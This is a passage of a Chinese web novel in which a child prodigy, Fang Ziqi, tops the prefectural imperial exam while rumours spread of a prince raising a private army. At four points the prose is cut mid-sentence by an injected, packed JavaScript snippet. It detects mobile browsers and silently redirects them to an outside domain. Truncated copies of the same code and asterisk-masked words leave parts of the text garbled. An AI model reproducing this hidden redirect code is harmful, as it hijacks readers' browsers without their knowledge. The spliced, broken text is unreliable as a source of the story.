“问题不大!” 花允谦伸了个懒腰,此刻倒是显得颇为豁达。 若论心态,花允谦的心态一直以来都是极好的。 从不曾慌乱过丝毫。 或许也是因为有他爹给他兜底的缘故。 好不容易考完了院试,自然要好好庆祝一下。 当天晚上,在家中小小地放纵一下。 方仲礼拿出一壶酒来,先给周夫子倒上,又给方砚秋和花允谦倒了一杯,到了方子期这里……方仲礼直接将酒壶拿走了。 “子期,你还太小,不能饮酒。” 方仲礼一本正经道。 方子期撇撇嘴,他本来对这酒就没什么太大欲望。 觥筹交错,大家一个接着一个的给周夫子敬酒。 以表示对周夫子授业之恩的感谢。 不多时。 周夫子就显得有些晕乎乎的。 目光都显得有些恍惚起来。 “子期!” “仲礼!” “我已打算参加后年的秋闱了!” “我定要夺个举人功名回来!” “嗝……” “否则我有何颜面继续给子期当夫子?” “原先我以为觉得自己举业无望了,毕竟不举已多年。” “心态也从原先的激情满满到心灰意冷。” “但是遇到了子期,又见到了我的老师秦夫子……” “我之心…再度跟着活跃起来。” “子期就不用说了,八岁之龄,即将中秀才!” “我老师,知天命的年龄,尚且还要参加三年后的春闱!” “我同子期还有我老师比起来,差得太远了!” “不是学问,而是心态!” “武将常言,男儿何不带吴钩,收复关山五十州!” “我亦要有收复关山五十州之心态!” “子期!” “等你院试中榜,回头你我师徒,一起参加后年的秋闱!” “到时候,也好让世人看看!” “十岁的举人!” “子期!你必将名动整个大梁!” “大梁文坛亦必须要有你的一席之地!” 周夫子喝得有些高了。 但是此刻之言,倒都是肺腑之言! 目光赤诚! 面色涨红! 周身上下,散发出对科举的强烈渴求! “夫子!” “有志者事竟成!” “学生相信您必能达成所愿!” 方子期抬起头,目光中透着鼓励。 “好!” “子期!” “那后年的秋闱,你可要参加?” 周夫子目光中透着期待。 “额……” “夫子。” “虽然大宗师暗示我会中榜,但是毕竟还没有真的中榜。” “此事等中榜之后再说亦不迟。” 方子期还真没考虑好…… 一方面是因为院试和乡试那是两个级别的考试,难度更是天差地别。 另一方面,方子期也不确定这两年大梁朝会不会有什么波折变动。 这些都还是未知数呢! 眼下最重要的还是先将秀才功名搞到手再说。 秀才功名,可免家中两人徭役,可免二十亩田地的赋税! 秀才,已经是半只脚踏入‘士’的行列了。 一夜酣畅。 第二天。 除了苏静姝和大丫她们,方子期居然是第一个醒过来的…… 至于他爹和周夫子他们,昨夜都喝多了。 因院试而紧绷的那根神经,此刻终于能松下来了。 第116章 大宗师阅卷,屎尿文章 都不曾读书了。 院试前读书读得头皮都麻了。 就连方仲礼这个卷王,居然也难得地放下书本,去帮苏静姝卤肉去了。 红烧肉和卤肉的买卖,现在也还是方子期家唯一的稳定进项。 因为要顾忌商户不能科举的规定,所以现在基本上都是苏静姝将卤肉和红烧肉做好,让方虎拉着去卖。 当然了。 其实像方家这样的,压根就算不上什么商户不商户的,顶天也只能算是个小摊贩,毕竟连个门面都没。 众人院试后,倒是松懈了不少。 只是周夫子,在院试结束后,就拿起书本,开启了苦读生涯。 “看来夫子昨夜说的不是酒话,这是真要上扬参加秋闱的。” 方仲礼见了,忍不住轻声道。 “嗯!” “其实夫子的学问本就不差,就是差了些运道。” “此次秋闱,还是很有希望的。” 方子期点点头道。 只是此刻他也颇为感慨…… 科举之举,属实艰辛。 周夫子的学问其实已算是极好的了。 四书五经早就滚瓜烂熟。 各种经义也能信手拈来。 但即便如此,在乡试上也是屡屡碰壁。 由此可见,竞争更残酷的会试又是怎样的扬景? 如此一想,方子期感觉自己是真幸运。 县试时,花县令点了他的案首。 府试时,那位王知府青睐于他,也点了他的案首。 院试时,原本与他文风不相契合的崔大宗师突然被鹰扬卫抓走,来了一个契合他文风的柳大宗师。 而这位柳大宗师对他的忠君爱国之道又颇为推崇,毕竟柳大宗师自己修习的就是此道。 但。 一个人的运势当真就能一直这么好吗? 比如这一次院试方子期就碰上了准臭号。 “一直靠着运势……终究还是不保险的。” “所以…还是得继续读书,丰富自己的底蕴才可。” 方子期深吸一口气,神色显得格外凝重。 只放松了一天。 第二天。 方子期就再度沉浸在书海之中。 周夫子见了,也忍不住抚须赞赏。 “子期天赋已是绝佳。” “更兼勤奋。” “未来必有大作为!” 周夫子说话间,特地瞥了一眼方砚秋。 方砚秋脸色一苦。 在寻常读书人中,他已算是小天才了。 但是同方子期比,那就被直接虐成渣了。 天赋比不过,这勤奋总要跟上吧? 否则不真成废物了? 随即方砚秋也开始苦读。 至于花允谦,本来打算考后好好玩几天的。 但是他在府城中的朋友本就不多,见方子期和方砚秋都在读书没工夫搭理他,花允谦也只能硬着头皮打开书本,看起书来。 方仲礼本打算喘口气。 但是眼看着他的宝贝儿子都快要将他的卷王头衔给夺走了,这哪里能行!当即铆起劲头来,继续读书吧! 在放榜之前,秦夫子特地来方家几次。 一是为了实在馋了那红烧肉。 二就是为了能够指导一下众人的学问。 见众人在读书上如此勤勉,秦夫子也一副孺子可教的欣慰表情。 …… 考院。 一众阅卷官正在秉烛批卷。 在这些阅卷官阅卷之前,已有受卷官先将那些字迹不工整、屎戳子太多或是卷面污迹斑斑的卷子全都扔在了地上。 随即有专门的誊写官将所有考生的考卷再誊写一遍,这样也是为了防止阅卷官能够通过字迹认出熟人的考卷,从而干扰正常的阅卷。 一千多考生。 每个考生都作了六篇文章。 那就是六千多篇文章。 大宗师自然不可能一一查看。 哪怕是受卷官将部分污浊的试卷都扔在了地面上,此刻仍旧还有近五千多篇文章…… 由阅卷官先将一份份试卷看完,然后选出其中不错的两百份卷子送到大宗师面前。 这两百份卷子其实就是两百个考生的卷子。 在这两百份卷子中,每一份都有六篇文章。 大宗师不可能每个考生的六篇文章都看。 所以基本上也就看上一篇文章,觉得不太行,就将整份卷子扔了。 柳承嗣此刻越看眉头越皱。 “全都是一些阿谀奉承的废话文章!” “无耻之尤!” “这篇文章中。” “这个考生居然无耻到说要尝一尝龙尿的滋味!” “此人心中还有圣人道义吗?” “若是将这些人点为秀才,当为吾辈之耻!” 唰…… 唰唰唰…… 柳承嗣黑着脸,不停地将考卷扔掉。 太恶心了。 周边的那些阅卷官面面相觑。 怎么个意思? 不是说这位柳大宗师极喜欢阿谀奉承之言吗? 你自己写的不就是那些赞誉君王的文章吗? 怎么现在考生们写得稍微露骨些,你就不乐意了? 青出于蓝而胜于蓝怎么了? 当然,这些只是这些阅卷官的内心独白。 但是表面上…… 还是一副力挺大宗师的样子的。 大宗师说得对! 学政大人明察秋毫! 大宗师慧眼如炬! “嗯?” “这篇文章…倒是尚可……” “虽文笔不算太佳,但胜在朴实。” “而且……” “既有尊君爱国之道义,亦没有奸佞之俗言。” 柳承嗣点点头,随即揭开糊名扫了一眼,眉眼微动。 “果然!” 柳承嗣嘴角含笑,将此份考卷的六篇文章都看了,随即放置在一旁,没有直接丢弃。 那就说明大概率要留下了。 柳承嗣继续往下看。 然后又被喂了不少屎尿…… “人心不古!” “圣道何在?” “抢着喝龙尿还不够,还做梦想着吃上了龙屎!” “无耻!” 柳承嗣忍不住直接破口大骂。 这是读书人吗? 你的气节在哪里? 直到…… 看到了下一份考卷,柳承嗣的脸上才再度浮现笑容。 “伏以圣代崇儒,如日月经天而光被四海;明君重道……” …… “盖陛下之崇儒重道,非徒托空言,而实见诸行事……” …… “今我圣主,广设庠序,遍置学官……” …… “本朝之兴,在于陛下圣明,爱民如子,知弊即改,立法垂久……” …… “陛下之德,如日月昭昭,普照四海……” …… 柳承嗣一口气将六篇文章全看完了。 脸上的笑意越来越多。 “此子之文章,在忠君爱国上,理解颇为深刻。” “他日若入朝为官,必定是忠君之典范!” “宁江府!” “果有大才!” “此子!当为案首!” 柳承嗣没忍住,揭开糊名扫了一眼,随即一副了然于胸的神情。 “果然……” “一府之地,怎可二日争辉?” 柳承嗣微微轻叹,有些可惜。 第117章 院试看榜 读书无岁月。 转眼间,十二日已过。 今日。 就是院试放榜日。 天还没亮。 外面就传来一阵阵噼里啪啦的声音。 方子期打了个哈欠,伸了个懒腰。 他睡眠浅,有点动静就睡不着。 此刻走到门外,见方仲礼等人都已起来了。 此刻正聚在一起闲聊。 “允谦兄,你怎么这么早也过来了?” 方子期看到花允谦,当即一阵纳闷。 花允谦是不在方家住的,也就是白日读书的时候会过来一起读。 “我…我实在是睡不着就过来了。” “我就知方叔和砚秋早早就会起来的。” “我本以为我对院试已不甚在意。” “但真到了放榜日,我还是有些忐忑不安。” “哎!” “子期!” “你会笑话我的吧?” 花允谦忍不住嘟囔道。 方子期无奈摇头:“这有什么好笑话的?苦读这么多年,不就是为了科举考功名吗?” “现在都已是临门一脚了。” “有些焦虑在所难免。” “你看我爹那大黑眼。” “我估摸着他昨晚就没睡。” 方子期无奈摇头道。 “额……” “你这小子。” “倒是会猜。” “我辗转反侧到半夜亦睡不着。” “索性就起来读书了。” “寅时初(早上三点)给你们做好了早食。” “子期!” “快来吃吧!” “吃完了,我们好去看榜!” 方仲礼搓搓手道。 “爹!” “其实去不去看也无所谓的。” “一般来说,院试若是榜上有名,会有专门的衙役来报喜。” “咱们在家等着也行。” 方子期调侃道。 方仲礼老脸一黑。 “你这孩子,等他们来报喜,还要等到什么时候?” “说起这个…我倒是想起来了。” “孩子他娘,今天要多准备些喜钱给报喜的衙役。” “还有,准备些糖果,若是有邻居前来贺喜,就送些糖果。” 方仲礼叮嘱道。 苏氏点点头,算是应下了。 卯时初(早上五点),众人就在方仲礼的催促下出门了。 从方子期的家坐骡子车去府衙,顶天也就一两刻钟。 而院试放榜时间一般在辰时(早上七点)。 也就是说到了府衙后,还要等上近一个时辰。 方子期见众人情绪高涨,也就不好打退堂鼓了。 反正都习惯了。 纵是方子期等人出门如此之早。 但是到了府衙前,亦已是人山人海了。 “我就说要早些来吧!” “早些来还能占个好位置。” 方仲礼说话间,忍不住往里挤了挤。 但是压根挤不进去就是了。 一旁的周夫子见方子期忍俊不禁,忍不住道:“别笑话你父亲,恐怕有不少人从昨日就在这里候着了!” “院试中榜虽只是个秀才,还无法做官。” “但只要中了秀才,既能免徭役又能免赋税。” “就算是今后再无科举中榜之希望,依仗着秀才功名,养活一家老小倒也足够了。” “在当地也算是头面人物了。” “至少不用再从土里刨食吃了。” 周夫子说话间,忍不住想到自己当初院试中榜时的场景。 何其相似也! “子期!” “远远的我见就是你!” 周秉律一脸兴奋地走过来。 这几日院试,两人倒是没见过面。 再加上周秉律也不在府学读书,所以最近这几个月,二人交谈的机会甚少。 “顾举人!” 方子期对着顾清如拱了拱手后,才同周秉律继续交谈。 周夫子见到顾清如后。 两人就在那里叽里呱啦开了。 “我听老师说,你要下场后年的秋闱了?” “你这家伙!说话跟放屁一样!” “之前我就让你坚持坚持,你总是推脱!” “这一次又是怎么想通了?” “怎么?” “莫不是怕子期回头中了举,不认你这个秀才老师了?” 顾举人在周夫子面前,那素来都是很随意的。 两人虽见面就掐,但是丝毫不影响彼此之间的友谊。 “去去去” “这一次我不仅要参加秋闱,等秋闱中榜,我还要去参加春闱呢!” “怎么?” “到时候约着一起去?” 周夫子瞥了一眼顾举人道。 “额……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16244265|181960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你来真的?” 顾举人一脸好奇。 “之前你一直不都淡泊名利得很。” “到底受什么刺激了?” “可是有人欺辱你了?” “你同我讲!” “我去帮你修理他!” “在这府城,我还是有几分薄面的!” 顾举人将胸口拍得砰砰作响,一副我罩着你的架势。 “就是突然顿悟了,想考了,怎么?不行?” “老师都打算下场三年后的春闱了。” “我作为老师的学生,若是止步不前,岂不是要给老师丢人?” “还有一点,等我中了举。” “省得你小子整天拿你那举人功名压我!” “整天念叨我不举不举的。” 周夫子撇嘴道。 “我也就是开个玩笑。” “不过你要下场秋闱,亦是好事。” “看来你是觉得在教育学生上比不上我,就想着在科举上同我并驾齐驱了?” “我可告诉你!” “秉律这一次院试的文章可是作得极好!” “我拿给老师看了,老师都赞不绝口,还有那位从省学回来的同进士夫子亦觉得不错。” “我估摸着,这院试案首,就是秉律了。” 顾举人昂着头,一脸嘚瑟。 “是吗?” “要不然打个赌如何?” “赌什么?” “就赌子期和秉律的名次谁高……” “若是子期名次高,待会儿在醉仙楼的庆功宴,你结账。” “反之,我结账。” 周夫子一副稳操胜券的样子。 这一把稳赢啊! 不说那位柳大宗师的文章契合方子期的。 就说那位柳大宗师对方子期的态度也可见一斑。 所以这赌局怎么输?输不了一点。 周夫子略带挑衅的目光看向顾举人。 “怎么?” “清如怯懦了?” “也罢!” “为兄就不欺负你了。” “毕竟在教书育人上,我确实胜你太多。” “以大欺小,就算是胜了,亦是胜之不武也!” 周夫子摇头晃脑道。 “谁说我怯懦了?” “就按你说的来!” “我就不信了!” “你还能次次都赢!” 顾举人跃跃欲试。 第118章 古今多少事,都付笑谈中 “方子期!” “果然是你!” “你这小人!” “不是已经放弃院试了吗?还来看什么榜?来自取其辱吗?” 傻狍子…哦不,是孙知白洋洋得意地带着几个随从走了过来。 过了十余日了,倒是在傻狍子身上看不到之前的窘迫了,此刻身穿锦衣,手持**扇,倒是有那么点翩翩公子的感觉。 不过不知道为什么,方子期每次看到这家伙,就想起了傻狍子。 “你不是说你此次必中案首吗?” “我是来看你中案首的。” “傻狍…咳……府试第二名。” 方子期差点就将‘傻狍子’三字脱口而出了。 好在急中生智,转换了个称呼。 听到‘府试第二名’的字眼,孙知白又红温了。 “竖子!” “安敢欺我!” “今日我定要叫你看看院试案首的实力!” 孙知白咬着牙,目光中透着自信。 毕竟…… 他出身孙家,一门三进士! 而且他爹和爷爷都是京官,和之前的柳承嗣一样。 怎么着,那也是有一份香火情在的。 一想到这。 孙知白对这位‘世叔’就充满了自信。 随即昂着头,大摇大摆地走了。 “子期。” “这……” “你咋将这家伙给调成这样了?” “这孙知白素有才名……” “按照他之前的性情,行为也不会如此无的放矢啊……” 周秉律瞪大双眼,一脸好奇。 “谁知道呢!” “可能是脑瓜子被驴给踢了吧!” 方子期摇摇头,只能做此解释了。 随即。 方子期同周秉律天南地北地说起话来了。 “子期!” “如若此次院试我能侥幸中榜的话,可能就要去省学读书了。” “到时候还要**后年的乡试!” “子期!” “届时你可愿同我一起?” “你放心!” “去省学需要疏通的关系,我都能替你解决好!” “匀出来一个省学名额还是没问题的。” 周秉律大包大揽道。 他倒是真心希望能够同方子期一起进学。 在周秉律看来,方子期虽然年龄小,但是学问高啊! 他们互相引为知己,互相探讨学问,对彼此都是一种提升。 “啊?” “我还没想好呢!” “榜单毕竟还没出来呢!” “周兄。” “你消息广,可知当今皇帝陛下身体如何了?” 方子期本来想直接问这老皇帝大概啥时候死。 但是想了想,还是换了种说法。 在考院试之前,方子期就一直在祈祷这老皇帝在他院试之前绝不能死! 现在这院试眼看着都要放榜了…… 这老皇帝真要是噶了…方子期倒也不是不能接受。 当然了。 如果这老皇帝还能多活几年,等他考完乡试再噶,那就更好了。 “子期!” “你这思维…可真跳跃啊。” “你怎么还开始关心这些皇家之事了。” “其实我知道的也不多。” “不过当今陛下的身体确实是越来越不好了。” “而且……” “听我爹说,马上要征召兵役了。” “规模好像还挺大的。” “具体多大我就不知道了。” 周秉律沉声道。 “北方的**又开始**了?” 花允谦一直戳着耳朵在听。 对于这些皇家秘闻和国家大事,可不仅仅只有方子期一人关心,花允谦亦然。 方子期第一次知道老皇帝快要噶了的消息还是从花允谦嘴中得知的。 也是因为花允谦,方子期才知道晋王、大皇子这些存在。 “这一次的兵役不是边军摊派的。” “是左骑军。” 周秉律继续沉默道。 “左骑军?晋王私军?” 花允谦倏然一惊道。 方子期心中一沉…… 特么的…… 事大了! 这左骑军既是晋王私军,在这个档口征召新兵……摆明了就是想壮大势力啊! 藩王扩军…… 这摆明了就是想**的节奏啊。 “目前还只是传闻,当不得真。” “万一没兵役呢?谁说得准呢!” “子期!” “砚秋兄!” “允谦兄。” “此事可千万不能外传才是!” “否则若是追根溯源到我爹头上,就完了。” 周秉律深吸一口凉气,提醒道。 方子期和花允谦各自点头,他们还是分得清轻重的。 至于方砚秋。 在他们讨论这个‘大逆不道’的话题的时候,方砚秋就很主动地用双手捂住了耳朵。 这些个离经叛道的事情,实在是太刺激了。 方砚秋有些顶不住。 方子期此刻心中不免生出一丝滞涩感。 此刻他对院试中榜真的格外在意了。 因为兵役来了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16244266|181960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' r>中了秀才,才能免除兵役。 他和他爹,不管谁中,总要中一个才行。 但愿…… 那位柳大宗师没有戏耍他吧! 不然这一波就真玩漏了。 免除兵役的特权,现在的方家实在是太需要了啊! 至于对周秉律所言的真假,方子期倒是不担心。 空穴不来风。 周秉律的爹毕竟是宁江府的七品推官,不可能闲来无事胡编乱造的。 这里面,恐怕真有事! 如果真要是打起仗来…… 那这宁江府……可就不保险了啊! 最好前往一个更大的地方。 当然。 要是能一步到位去京城,那当然最好。 方子期想法很多…… 之后同众人交谈起来也显得无精打采。 咚! 咚! 咚! 辰时的钟声响了三下。 彻底引爆了府衙前的一众院试考生及其家人仆从。 几个胥吏带着黄榜来到告示栏前,正式张榜! 院试的榜! “放榜了!” “案首是谁?” “别挤我!” “滚开!” “我的名字!” “我看到了我的名字!” “我中了!” “我中了!” “哇!” “哇哇哇!” “呜呜呜……” 有一约莫四十余岁的老者。 突然在黄榜前痛哭流涕起来。 回想起自己这几十年的苦读生涯。 在这一刻全都化为了满腔热泪。 随即直接瘫软在地,一时哭,一时又痴痴地笑。 “这家伙疯了!” “王兄!王兄!你怎么了?快醒醒啊!” “爹!你快醒醒!快醒醒!” “爷爷!你不要死!” “快!掐他人中!” “无反应啊!” “我倒是听说过此种情况,这就是惊了魂了,来一个手劲大的,扇他一耳光就好了!” “真扇?” “扇!” “谁…谁扇……” “你不是他儿子吗?你不扇谁扇?” “我?好…好吧……” 啪…… 一巴掌不行。 再来一耳光…… **声,经久不息。 但是当事者的儿子扇了许久,毫无反应。 最后的最后。 那中榜的四十多岁老者,居然直挺挺地躺在黄榜前,不再动弹了。 有好事者试了试鼻息,脸色惊变:“没气了,许是激动过度,血脉偾张而死!” 第119章 首战告捷,小三元 好端端的一个四十多岁老者。 就这么**…… 黄榜前的众**多不以为意,仍旧看着榜单…… 只是当事者的儿子直接就懵了。 “爹!” “你苦读四十载!” “刚中秀才!” “怎么就**!” “爹!” “您高中院试三十五名啊!” “你刚高中就**!这秀才不是白考了吗?” “咱家还要靠你光耀门楣呢!” 死者儿子哭天抹泪的。 周围众人此刻也只能叹口气,随即又目光灼灼地盯着黄榜了。 “案首是谁?” “可是孙知白?” 后方。 孙知白的随从大声嘶吼道。 这人太多,也挤不进去啊!实在是太难了! 孙知白此刻也没有了刚来时的风轻云淡,此刻死死地握紧手中的**骨扇,一双眼珠子瞪得圆滚滚的,身体也在竭力往里挤压…… “案首是禾阳县人士!” “方子期!” “谁是方子期!” “方子期都没听过?府试案首!” “而且还是禾阳县的县案首!” “小三元!” “此子!当真了得!” “哪位是方子期方兄!” …… 前方传来各种声响! 无论在哪个时候。 第一名,总是最受人关注的。 孙知白听到方子期的名字,如遭雷击。 “这如何可能!” “那个小人…他不是已经放弃院试了吗?如何还能高中案首?” “可是你们看错名了?” “案首难道不是孙知白吗?” 孙知白红着脸又红着眼,此刻开始说着一些恬不知耻且不着调的话。 周边一众学子当即露出鄙夷神色。 “孙知白是什么个玩意儿?榜单上压根没看见!” “好家伙!” “今年的院试榜单居然有六十个名额!柳大宗师威武!” “好好好!” “六十个名额,我也有希望中榜了!” “快让我看看!我是不是中榜了!” “往年也就四十个名额,今年六十个,增加了一半中榜名额,若是这样我还无法中榜,我此生再也不参加科考了……” …… 黄榜前。 一片糜烂。 声音传到后方。 方仲礼身体一颤! “子期!” “你可听到了!” “他们是不是在说案首叫方子期?” “子期!” “你中榜了!你是案首!案首啊!” 方仲礼激动地嘴都有些颤抖。 此刻一把将方子期薅起来,习惯性地将方子期放在自己的肩头上舞了几圈。 此刻周遭众人朝着方仲礼投去异样的目光,方子期更是以手掩面,丢人!丢人呀! 哪家院试案首还要骑在老爹肩头上? “咳……” 方仲礼此刻也感觉到了不合适,连忙将方子期放下。 “阁下就是方子期方兄?” “方兄学问通天!当真了得!如此幼龄,高中院试案首,当真是前途不可限量!” “是啊是啊!方兄平日里究竟是如何学习的?” “方兄师承哪位大儒?” “方兄,我乃赵钱锟,砚山县人士,院试第51名,这厢有礼了!” “方兄,我是……” “方兄……” 当众人认出方子期后,大多都凑过来请教。 有请教读哪些书的,亦有请教师承何方的。 更有甚至,已经开始打听起方子期的家世和婚姻状况了。 “方小兄弟,我是府城钱家的管家,我家老爷有一**芳龄六岁,不知方小兄弟可愿同我赵家结亲?今后方小兄弟一应科举费用,当由我赵家提供!” “方小兄弟切莫多想,我们赵家从不招赘婿!现今可以定下婚约……我赵家亦是官宦人家,我家大人官居……“ …… 嗡嗡嗡…… 吵闹得方子期的脑壳都快要裂开了。 太吵闹了。 声音接连不断地传来。 方子期感觉自己耳边仿佛有一万只鸭子在嘎嘎嘎地叫唤。 那滋味。 真叫一个酸爽。 甚至…… 因为方子期的缘故。 连方仲礼都被不少富商家盯上了。 “阁下就是方案首的父亲?” “我观阁下也相貌堂堂,能生养出虎子者!也定当是人中龙凤!我家有一小女,芳龄十七,愿陪嫁白银千两,不知方兄意下如何?” “方兄,我家亦有一姐姐……” “方兄,我家寡嫂……” …… 方仲礼此刻被闹了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16244267|181960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个大花脸。 好家伙。 这些人也太吓人了! 生怕自家女儿嫁不出去似的。 吾儿中了院试案首,你们折腾我儿子好了,干嘛还要为难他这个老父亲? 此刻方仲礼显得格外着急。 他还要去看榜呢! 他儿子中了院试案首,他心里面的大石头就算是落了地了。 但是…他这考试结果还没着落呢! 人人接连传颂案首之名。 但是其他名次的,压根就无人在意啊! 挤了好一阵。 等到前排看榜的人离开后,方子期等人才算是到了黄榜前。 榜单第一名:方子期! 后面就是相应的籍贯等等。 第一名还特地被加粗了,所以显得很显眼。 “呼!” “吾儿果然是案首!” 方仲礼看到榜首后,重重地松了口气。 稳了! 然后开始查看自己的名次。 总结了以往之经历。 这一次方仲礼从最后一名开始看…… “今年居然有六十个中榜名额!” “这位大宗师还真是慷慨啊!” 方子期忍不住感慨了一句。 名额比往年的四十个多了二十个,这对于所有考生来说都是大好事。 相当于这一次院试多了一半中榜的几率。 只是方仲礼越看越沉默。 从第六十名开始看,一直看到第三十名,都没有他的名字。 “没有就没有吧……” “倒也没甚关系……” “我儿中榜就好。” 方仲礼忍不住自我安慰起来。 但是心里面还是有些不好受。 秀才功名! 这可是每个科举人梦寐以求的存在啊! “允谦!” “你是第五十四名!” “我刚才看到了。” 方仲礼对着一旁的花允谦道。 “啊?” “我中了?” “多谢方叔!” 花允谦眼前一亮,顿时一阵惊喜。 “方叔!看到我名字了吗?” 方砚秋着急道。 “这个……不曾。” “后三十名,没有姓方的。” “哎……” 方仲礼苦笑一声摇摇头道。 至于前三十名,他都不想看了。 自己啥水平,他能不知道吗? 第120章 傻狍子是真可爱啊 府试他都是孙山之名。 这更加残酷的院试,能中孙山之名都算是侥幸。 怎么敢苛求太多? 但是现在后三十名都没有他,方仲礼的心也就**。 “爹!” “你的名字在这呢!” “十八名!” 方子期指了指道。 “啊?” “什么?” “十八名?” “这怎么可能……” “我…我……” 方仲礼双手一颤,随即目光连忙看向榜单前面…… 在第十八名的位置赫然看到了‘方仲礼’三个大字。 “莫不是重名的考生吧……” 方仲礼下意识吞咽了一口唾沫,此刻额头上早已是满头大汗。 本就挤到现在,运动量过大,身体就燥热。 再加上紧张……方仲礼感觉全身上下都快要湿透了。 “爹!” “后面还有籍贯呢!禾阳县人士!” “咋可能会重名!” “爹!” “这次考得不错!” “孺子可教也!” 方子期学着夫子的样子对着方仲礼夸赞道。 “是是是!” 方仲礼连忙憨憨地点头,嘴角都快要咧到耳后根去了。 但是突然又瞪大双眸。 不对啊…… 这听着…… 咋这么奇怪呢? “你个小兔崽子!” “看老子回去怎么收拾你!” “连你爹都敢调侃……” 方仲礼嘴上骂着,脸上的笑容不曾削减过分毫。 现在方仲礼、花允谦还有方子期都榜上有名了。 至于周秉律,方子期在榜单第五名的位置上看到了他。 周秉律府试时是第四名,后面几个月又经名师教导,自身也勤奋努力,在院试中能够夺得第五名,倒也算是理所应当。 现在就剩下一个方砚秋了。 本来听到方仲礼说后三十名一个姓方的都没有,方砚秋也已经死心了。 但是又听到方仲礼在第十八名,方砚秋死去的心又忍不住跟着躁动起来。 万一呢? 对啊! 万一呢! 这种事情谁说得准呢? 随即众人对着榜单看了一遍又一遍…… 最终各自沉默了。 方砚秋确实榜上无名…… 人生无常…… 同时求学的四人,就方砚秋一人不中榜。 这…… 当真是徒呼奈何了! “砚秋!” “别灰心!” “一次考试算不得什么!” “要不是今年大宗师加了名额,我也是落榜了的!” “咱们还年轻,下次再考就是了!” “我纯粹就是走了狗屎运!” “砚秋你学问比我好!” “后年的院试你定能中榜!” “不!” “是高中榜首!” “这一次院试有子期这个家伙拦在前面,榜首与你无缘了。” “所以你小子就等着下一次院试再夺头名!” “砚秋兄!塞翁失马焉知非福啊!” “你将会是你们方氏家族第二个院试案首!” 花允谦拍了拍方砚秋的肩膀,油嘴滑舌道。 不过不得不说,这家伙安慰人确实是有几分手段的。 方砚秋此刻都忍不住苦笑了几声。 “允谦兄,你这张嘴啊!” “还真是……” “其实我早有预感,本次院试不中。” “毕竟我府试排名也不高。” “区区数月时间,哪能突飞猛进啊!” “我第一次下场考试,就连中县试和府试,我已经很满足了!” “相比较于赵奎赵兄,我已是万分幸运了。” “还有…刚刚因惊悸兴奋而**在黄榜前的那位老者……” “哎!” “科举路……” “本就是荆棘遍地。” “能连过两场。” “早已出乎意料了!” “就是一直跟在子期后面,总觉得一切都太顺了!” “所以才会有这怅然若失之感。” “但是比起我爹我爷爷……我已不知比他们强多少了!” “他们在我这个年龄,连县试都还没过呢!” 方砚秋说到此处,顿时一脸骄傲地昂起头。 “砚秋兄,你能这么想,就太好了。” “本次院试,权当积攒经验了。” “按照你之天赋和勤奋,下场院试必过!” “问题不大!” 方子期宽慰道。 “嗯!承你吉言了子期。” 方砚秋笑着道。 看完榜。 众人就准备离开了。 然后好死不死的。 居然又碰见了傻狍子。 “方子期!” “小人!” “你实话告诉我! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16244268|181960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “是不是你偷了我的院试案首?” “我都打听过了。” “那两场院试结束后,你刻意跑去同大宗师交流了数个时辰!” “方子期!” “卑鄙小人!” “你为了抢夺我的案首之位!居然行如此龌龊之事!” “当真是机关算尽!” “但!” “假的就是假的!” “永远也当不得真!” “我!孙知白!” “定要在世人面前你方子期的丑陋嘴脸!” “你方子期!早早就放弃了院试!怎么可能高中院试榜首?” “而我孙知白!” “虽身处臭号!亦不堕**之志!坚守到了最后!” “才能得此案首文章!” “你!卑鄙小人!” “抢我功名!” “我孙家!一门三进士!亦不是什么人都能欺辱的!” 傻狍子……孙知白红着眼咆哮道。 方子期一愣…… 此刻倒是没什么生气的感觉。 毕竟…… 一只傻狍子放声大叫,只会让人觉得可爱罢了。 “所以……” “你院试中了多少名?” 方子期好奇道。 这傻狍子虽然傻了点,但其实学问还是可以的。 否则当初也不可能得了府试第二名。 照理来说,若是正常情况下,院试中榜倒也在情理之中。 刚才方子期一直帮方仲礼他们看名次,还真没注意到孙知白在不在榜单上面。 不过…貌似…好像没有孙知白这个名字? “你…你…你……” “欺人太甚!” “辱我太甚!” 